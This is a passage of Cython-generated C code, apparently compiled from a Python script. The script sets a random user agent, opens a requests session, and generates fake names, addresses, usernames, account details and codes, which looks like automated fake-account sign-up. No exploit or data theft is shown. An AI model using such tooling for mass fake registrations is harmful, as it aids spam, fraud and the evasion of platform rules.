    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_P); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_replace); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_10);
    __Pyx_GIVEREF(__pyx_int_10);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_10);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_13))) {
      __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_13);
      if (likely(__pyx_t_9)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13);
        __Pyx_INCREF(__pyx_t_9);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_13, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_13)) {
      PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_t_5, __pyx_t_10};
      __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_13, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_13)) {
      PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_t_5, __pyx_t_10};
      __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_13, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    {
      __pyx_t_1 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      if (__pyx_t_9) {
        __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_5);
      PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_12, __pyx_t_5);
      __Pyx_GIVEREF(__pyx_t_10);
      PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_12, __pyx_t_10);
      __pyx_t_5 = 0;
      __pyx_t_10 = 0;
      __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    }
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_P, __pyx_t_2) < 0) __PYX_ERR(0, 147, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_50);
    __Pyx_GIVEREF(__pyx_int_50);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_50);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_48);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 148, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_yy); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 148, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_t_2, __pyx_t_13, Py_NE)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 148, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_8 = (__pyx_t_7 != 0);
    if (__pyx_t_8) {

      
      __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_yy); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 149, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_13);
      __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      __pyx_t_13 = __Pyx_PyUnicode_Concat(__pyx_kp_u_20, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 149, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_13);
      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
      if (PyDict_SetItem(__pyx_d, __pyx_n_s_yy, __pyx_t_13) < 0) __PYX_ERR(0, 149, __pyx_L1_error)
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

      
      goto __pyx_L9;
    }

    
    /*else*/ {
      __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_yy); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_13);
      if (PyDict_SetItem(__pyx_d, __pyx_n_s_yy, __pyx_t_13) < 0) __PYX_ERR(0, 151, __pyx_L1_error)
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    }
    __pyx_L9:;

    
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_user_agent); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 153, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_generate_user_agent); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) {
      __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1);
      if (likely(__pyx_t_2)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1);
        __Pyx_INCREF(__pyx_t_2);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_1, function);
      }
    }
    __pyx_t_13 = (__pyx_t_2) ? __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2) : __Pyx_PyObject_CallNoArg(__pyx_t_1);
    __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_user, __pyx_t_13) < 0) __PYX_ERR(0, 153, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_requests); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_session); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
      }
    }
    __pyx_t_13 = (__pyx_t_1) ? __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1) : __Pyx_PyObject_CallNoArg(__pyx_t_2);
    __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 154, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_r, __pyx_t_13) < 0) __PYX_ERR(0, 154, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_3generate_full_name, 0, __pyx_n_s_generate_full_name, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 156, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_full_name, __pyx_t_13) < 0) __PYX_ERR(0, 156, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_5generate_address, 0, __pyx_n_s_generate_address, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 333, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_address, __pyx_t_13) < 0) __PYX_ERR(0, 333, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_generate_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 374, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_1 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
      }
    }
    __pyx_t_13 = (__pyx_t_1) ? __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1) : __Pyx_PyObject_CallNoArg(__pyx_t_2);
    __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 374, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if ((likely(PyTuple_CheckExact(__pyx_t_13))) || (PyList_CheckExact(__pyx_t_13))) {
      PyObject* sequence = __pyx_t_13;
      Py_ssize_t size = __Pyx_PySequence_SIZE(sequence);
      if (unlikely(size != 2)) {
        if (size > 2) __Pyx_RaiseTooManyValuesError(2);
        else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size);
        __PYX_ERR(0, 374, __pyx_L1_error)
      }
      #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
      if (likely(PyTuple_CheckExact(sequence))) {
        __pyx_t_2 = PyTuple_GET_ITEM(sequence, 0); 
        __pyx_t_1 = PyTuple_GET_ITEM(sequence, 1); 
      } else {
        __pyx_t_2 = PyList_GET_ITEM(sequence, 0); 
        __pyx_t_1 = PyList_GET_ITEM(sequence, 1); 
      }
      __Pyx_INCREF(__pyx_t_2);
      __Pyx_INCREF(__pyx_t_1);
      #else
      __pyx_t_2 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 374, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      __pyx_t_1 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 374, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      #endif
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    } else {
      Py_ssize_t index = -1;
      __pyx_t_10 = PyObject_GetIter(__pyx_t_13); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 374, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      __pyx_t_14 = Py_TYPE(__pyx_t_10)->tp_iternext;
      index = 0; __pyx_t_2 = __pyx_t_14(__pyx_t_10); if (unlikely(!__pyx_t_2)) goto __pyx_L10_unpacking_failed;
      __Pyx_GOTREF(__pyx_t_2);
      index = 1; __pyx_t_1 = __pyx_t_14(__pyx_t_10); if (unlikely(!__pyx_t_1)) goto __pyx_L10_unpacking_failed;
      __Pyx_GOTREF(__pyx_t_1);
      if (__Pyx_IternextUnpackEndCheck(__pyx_t_14(__pyx_t_10), 2) < 0) __PYX_ERR(0, 374, __pyx_L1_error)
      __pyx_t_14 = NULL;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      goto __pyx_L11_unpacking_done;
      __pyx_L10_unpacking_failed:;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      __pyx_t_14 = NULL;
      if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index);
      __PYX_ERR(0, 374, __pyx_L1_error)
      __pyx_L11_unpacking_done:;
    }
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_first_name, __pyx_t_2) < 0) __PYX_ERR(0, 374, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_last_name, __pyx_t_1) < 0) __PYX_ERR(0, 374, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_generate_address); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_2 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) {
      __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1);
      if (likely(__pyx_t_2)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1);
        __Pyx_INCREF(__pyx_t_2);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_1, function);
      }
    }
    __pyx_t_13 = (__pyx_t_2) ? __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2) : __Pyx_PyObject_CallNoArg(__pyx_t_1);
    __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if ((likely(PyTuple_CheckExact(__pyx_t_13))) || (PyList_CheckExact(__pyx_t_13))) {
      PyObject* sequence = __pyx_t_13;
      Py_ssize_t size = __Pyx_PySequence_SIZE(sequence);
      if (unlikely(size != 4)) {
        if (size > 4) __Pyx_RaiseTooManyValuesError(4);
        else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size);
        __PYX_ERR(0, 375, __pyx_L1_error)
      }
      #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
      if (likely(PyTuple_CheckExact(sequence))) {
        __pyx_t_1 = PyTuple_GET_ITEM(sequence, 0); 
        __pyx_t_2 = PyTuple_GET_ITEM(sequence, 1); 
        __pyx_t_10 = PyTuple_GET_ITEM(sequence, 2); 
        __pyx_t_5 = PyTuple_GET_ITEM(sequence, 3); 
      } else {
        __pyx_t_1 = PyList_GET_ITEM(sequence, 0); 
        __pyx_t_2 = PyList_GET_ITEM(sequence, 1); 
        __pyx_t_10 = PyList_GET_ITEM(sequence, 2); 
        __pyx_t_5 = PyList_GET_ITEM(sequence, 3); 
      }
      __Pyx_INCREF(__pyx_t_1);
      __Pyx_INCREF(__pyx_t_2);
      __Pyx_INCREF(__pyx_t_10);
      __Pyx_INCREF(__pyx_t_5);
      #else
      {
        Py_ssize_t i;
        PyObject** temps[4] = {&__pyx_t_1,&__pyx_t_2,&__pyx_t_10,&__pyx_t_5};
        for (i=0; i < 4; i++) {
          PyObject* item = PySequence_ITEM(sequence, i); if (unlikely(!item)) __PYX_ERR(0, 375, __pyx_L1_error)
          __Pyx_GOTREF(item);
          *(temps[i]) = item;
        }
      }
      #endif
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    } else {
      Py_ssize_t index = -1;
      PyObject** temps[4] = {&__pyx_t_1,&__pyx_t_2,&__pyx_t_10,&__pyx_t_5};
      __pyx_t_9 = PyObject_GetIter(__pyx_t_13); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 375, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      __pyx_t_14 = Py_TYPE(__pyx_t_9)->tp_iternext;
      for (index=0; index < 4; index++) {
        PyObject* item = __pyx_t_14(__pyx_t_9); if (unlikely(!item)) goto __pyx_L12_unpacking_failed;
        __Pyx_GOTREF(item);
        *(temps[index]) = item;
      }
      if (__Pyx_IternextUnpackEndCheck(__pyx_t_14(__pyx_t_9), 4) < 0) __PYX_ERR(0, 375, __pyx_L1_error)
      __pyx_t_14 = NULL;
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      goto __pyx_L13_unpacking_done;
      __pyx_L12_unpacking_failed:;
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __pyx_t_14 = NULL;
      if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index);
      __PYX_ERR(0, 375, __pyx_L1_error)
      __pyx_L13_unpacking_done:;
    }
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_city, __pyx_t_1) < 0) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_state, __pyx_t_2) < 0) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_street_address, __pyx_t_10) < 0) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_zip_code, __pyx_t_5) < 0) __PYX_ERR(0, 375, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_7generate_random_account, 0, __pyx_n_s_generate_random_account, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 377, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_random_account, __pyx_t_13) < 0) __PYX_ERR(0, 377, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_generate_random_account); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 381, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_13 = (__pyx_t_10) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_10) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 381, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_acc, __pyx_t_13) < 0) __PYX_ERR(0, 381, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_9username, 0, __pyx_n_s_username, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 383, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_username, __pyx_t_13) < 0) __PYX_ERR(0, 383, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_username); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 387, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_13 = (__pyx_t_10) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_10) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 387, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_username, __pyx_t_13) < 0) __PYX_ERR(0, 387, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_11num, 0, __pyx_n_s_num, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 389, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_num, __pyx_t_13) < 0) __PYX_ERR(0, 389, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_num); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 392, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_13 = (__pyx_t_10) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_10) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 392, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_num, __pyx_t_13) < 0) __PYX_ERR(0, 392, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = __Pyx_CyFunction_New(&__pyx_mdef_6source_13generate_random_code, 0, __pyx_n_s_generate_random_code, NULL, __pyx_n_s_source, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 394, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_13, __pyx_tuple__24);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_random_code, __pyx_t_13) < 0) __PYX_ERR(0, 394, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_generate_random_code); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 398, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_13 = (__pyx_t_10) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_10) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 398, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_corr, __pyx_t_13) < 0) __PYX_ERR(0, 398, __pyx_L1_error)
